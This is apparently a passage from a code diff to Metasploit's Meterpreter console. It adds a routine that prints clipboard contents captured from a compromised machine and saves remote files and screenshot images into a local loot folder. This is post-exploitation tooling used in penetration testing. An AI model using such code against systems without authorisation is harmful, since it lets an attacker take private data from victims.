stat = client.fs.file.stat( source )
|
||||||
|
@ -182,17 +377,64 @@ protected
|
||||||
|
|
||||||
if stat.directory?
|
if stat.directory?
|
||||||
client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
|
client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
|
||||||
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
|
print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
|
||||||
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
||||||
}
|
}
|
||||||
elsif stat.file?
|
elsif stat.file?
|
||||||
client.fs.file.download( dest, source ) { |step, src, dst|
|
client.fs.file.download( dest, source ) { |step, src, dst|
|
||||||
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
|
print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
|
||||||
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def parse_dump(dump, get_images, get_files, download_path)
|
||||||
|
loot_dir = download_path || "."
|
||||||
|
if (get_images || get_files) && !::File.directory?( loot_dir )
|
||||||
|
::FileUtils.mkdir_p( loot_dir )
|
||||||
|
end
|
||||||
|
|
||||||
|
dump.each do |ts, elements|
|
||||||
|
elements.each do |type, v|
|
||||||
|
title = "#{type} captured at #{ts}"
|
||||||
|
under = "=" * title.length
|
||||||
|
print_line(title)
|
||||||
|
print_line(under)
|
||||||
|
|
||||||
|
case type
|
||||||
|
when 'Text'
|
||||||
|
print_line(v)
|
||||||
|
|
||||||
|
when 'Files'
|
||||||
|
total = 0
|
||||||
|
v.each do |f|
|
||||||
|
print_line("Remote Path : #{f[:name]}")
|
||||||
|
print_line("File size : #{f[:size]} bytes")
|
||||||
|
if get_files
|
||||||
|
download_file( loot_dir, f[:name] )
|
||||||
|
end
|
||||||
|
print_line
|
||||||
|
total += f[:size]
|
||||||
|
end
|
||||||
|
|
||||||
|
when 'Image'
|
||||||
|
print_line("Dimensions : #{v[:width]} x #{v[:height]}")
|
||||||
|
if get_images and !v[:data].nil?
|
||||||
|
file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg"
|
||||||
|
path = File.join(loot_dir, file)
|
||||||
|
path = ::File.expand_path(path)
|
||||||
|
::File.open(path, 'wb') do |x|
|
||||||
|
x.write v[:data]
|
||||||
|
end
|
||||||
|
print_line("Downloaded : #{path}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print_line(under)
|
||||||
|
print_line
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue